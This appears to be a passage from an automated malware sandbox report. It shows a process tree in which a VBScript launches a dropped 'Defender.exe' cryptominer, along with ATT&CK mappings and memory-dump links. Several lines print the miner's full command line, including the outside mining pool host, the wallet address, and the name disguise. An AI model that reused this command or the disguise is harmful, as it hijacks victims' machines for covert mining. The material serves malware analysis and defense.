    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:4092
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:492
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3860
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:588
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:2276
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3948
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:3636
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2084
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:2716
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2356
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\p.vbs"
        5⤵
        
        PID:1112
      - C:\ProgramData\Windows\Defender.exe
        
        "C:\ProgramData\Windows\Defender.exe" --no-watchdog -a kawpow -o stratum+tcp://stratum.ravenminer.com:3800 -i 60 -u RNqes7FtprvyQNaFamUfShw19BdFUjbJAt
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/200-212-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/492-412-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/512-292-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/584-322-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/588-422-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/776-342-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/816-252-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/1344-352-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/1448-402-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/1448-362-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/1688-382-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/1884-312-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2084-440-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2196-202-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2240-332-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2288-192-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2320-272-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2356-448-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2496-392-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2824-242-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2908-456-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/2916-133-0x00000226A7D40000-0x00000226A7D41000-memory.dmp

Filesize
4KB

Download
memory/2916-155-0x00000226A7D70000-0x00000226A7D71000-memory.dmp

Filesize
4KB

Download
memory/2916-147-0x00000226C0293000-0x00000226C0295000-memory.dmp

Filesize
8KB

Download
memory/2916-146-0x00000226C0290000-0x00000226C0292000-memory.dmp

Filesize
8KB

Download
memory/2916-136-0x00000226C0550000-0x00000226C0551000-memory.dmp

Filesize
4KB

Download
memory/3052-282-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/3104-222-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/3312-302-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/3496-171-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/3496-172-0x00007FFCFAD10000-0x00007FFCFAD12000-memory.dmp

Filesize
8KB

Download
memory/3544-372-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/3648-182-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/3948-432-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/3968-262-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download
memory/4036-232-0x0000000140000000-0x0000000141B19000-memory.dmp

Filesize
27.1MB

Download